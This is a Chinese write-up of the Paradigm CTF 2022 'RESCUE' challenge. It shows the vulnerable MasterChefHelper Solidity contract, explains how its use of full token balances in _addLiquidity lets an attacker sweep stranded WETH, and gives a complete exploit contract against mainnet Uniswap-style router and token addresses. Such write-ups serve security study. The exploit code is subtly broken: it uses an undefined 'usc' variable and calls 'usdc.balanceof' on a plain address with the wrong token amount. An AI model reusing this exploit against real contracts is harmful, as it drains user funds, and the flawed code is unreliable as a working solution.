OKLink:2023年7月安全事件盘点
链上卫士:Paradigm CTF 2022 题目浅析—RESCUE
题目背景
在Paradigm CTF 2022中有着这样一道DeFi金融赛题:
题目描述:I accidentally sent some WETH to a contract, can you help me?
,题目的要求是将误操作打入mcHelper合约中的weth全部转移。
题目分析
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.16;
import "./MasterChefHelper.sol";
interface WETH9 is ERC20Like {
function deposit() external payable;
}
contract Setup {
WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
MasterChefHelper public immutable mcHelper;
constructor() payable {
mcHelper = new MasterChefHelper();
weth.deposit{value: 10 ether}();
weth.transfer(address(mcHelper), 10 ether); // whoops
}
function isSolved() external view returns (bool) {
return weth.balanceOf(address(mcHelper)) == 0;
}
}
Setup合约在创建的时候先抵押了10ETH,获取了10 WETH并且将10个WETH转移到了mcHelper合约中。题目的要求就是将mcHelper合约中的weth全部转移。
MasterChefHelper.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.16;
import "./UniswapV2Like.sol";
interface ERC20Like {
function transferFrom(address, address, uint) external;
function transfer(address, uint) external;
function approve(address, uint) external;
function balanceOf(address) external view returns (uint);
}
interface MasterChefLike {
function poolInfo(uint256 id) external returns (
address lpToken,
uint256 allocPoint,
uint256 lastRewardBlock,
uint256 accSushiPerShare
);
}
contract MasterChefHelper {
MasterChefLike public constant masterchef = MasterChefLike(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
UniswapV2RouterLike public constant router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
(address lpToken,,,) = masterchef.poolInfo(poolId);
address tokenOut0 = UniswapV2PairLike(lpToken).token0();
address tokenOut1 = UniswapV2PairLike(lpToken).token1();
ERC20Like(tokenIn).approve(address(router), type(uint256).max);
ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);
// swap for both tokens of the lp pool
_swap(tokenIn, tokenOut0, amountIn / 2);
_swap(tokenIn, tokenOut1, amountIn / 2);
// add liquidity and give lp tokens to msg.sender
_addLiquidity(tokenOut0, tokenOut1, minAmountOut);
}
function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
ERC20Like(token0).balanceOf(address(this)),
ERC20Like(token1).balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}
function _swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0,
path,
address(this),
block.timestamp
);
}
}
MasterChefHelper合约只有一个外部可调用的函数swapTokenForPoolToken,该函数的主要功能是将用户转入代币的一半兑换成指定pair合约中的token0, 再将另一半兑换为token1,然后两者按比例一起添加到pair中获得流动性。
解题分析
根据上文可知,在MasterChefHelper合约的swapTokenForPoolToken函数是功能性最多且也是唯一能调用的函数,所以该函数为重点排查对象。该函数会调用_swap进行代币兑换,然后调用_addLiquidity进行流动性添加。
function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
ERC20Like(token0).balanceOf(address(this)),
ERC20Like(token1).balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}
在_addLiquidity
函数中我们发现关键问题,其添加流动性的数值是通过上述函数的第5、6行也就是MasterChefHelper
合约内两种代币余额决定的,而不是用户输入决定的。
然而用户又误操作将WETH打入MasterChefHelper
合约,所以我们只要向MasterChefHelper
合约转入和10WETH等比例的代币,然后调用swapTokenForPoolToken
函数,将两种代币添加进流动性池就能够将误操作打入MasterChefHelper
合约的10WETH转移。
解题步骤
1. 根据poolInfo函数查询池子的币对信息,以便进行后续操作,这里以0、1、2号池为例。
pairId:0,token0:WETH,token1:USDT,lpAddress:0x06da0fd433C1A5d7a4faa01111c044910A184553
pairId:1,token0:USDC,token1:WETH,lpAddress:0x397FF1542f962076d0BFE58eA045FfA2d347ACa0
pairId:2,token0:DAI,token1:WETH,lpAddress:0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f
2.兑换价值 10 ETH的 USDC 并将其发送至MasterChefHelper
,之所以兑换10 ETH的USDC是为了跟合约内原有的10 WETH进行后续的流动性添加操作,这里也可以多兑换一些USDC以防止添加流动性后仍有少部分WETH遗留在MsterChefHelper
合约中。
weth.deposit{value: 11 ether}();
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = usc;
router.swapExactTokensForTokens(
10 ether,
0,
path,
address(mcHelper),
block.timestamp
);
3. 兑换一定数量的DAI,用来触发swapTokenForPoolToken
函数进行流动性添加,完成解题。这里的swapTokenForPoolToken函数主要执行逻辑为,先将兑换后的dai代币分成两份,分别兑换为0.5 WETH和价值0.5 WETH 的USDC,然后和之前遗留在mcHelper的10 WETH和第二步转入的价值10 WETH的USDC一起按照比例进行流动性添加。
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = dai;
router.swapExactTokensForTokens(
1 ether,
0,
path,
address(this),
block.timestamp
);
ERC20Like(dai).approve(address(mcHelper), type(uint256).max);
mcHelper.swapTokenForPoolToken(1, dai, usdc.balanceof(address(this)), 0);
Poc
根据上述分析,可以得到对应的解题代码。
pragma solidity 0.8.16;
import "public/Setup.sol";
contract Exploit {
constructor(Setup setup) payable {
WETH9 weth = setup.weth();
MasterChefHelper mcHelper = setup.mcHelper();
UniswapV2RouterLike router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
weth.approve(address(router), type(uint256).max);
weth.deposit{value: 11 ether}();
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = usdc;
router.swapExactTokensForTokens(
10 ether,
0,
path,
address(mcHelper),
block.timestamp
);
path[0] = address(weth);
path[1] = dai;
router.swapExactTokensForTokens(
1 ether,
0,
path,
address(this),
block.timestamp
);
ERC20Like(dai).approve(address(mcHelper), type(uint256).max);
mcHelper.swapTokenForPoolToken(1, dai, usdc.balanceof(address(this)), 0);
}
}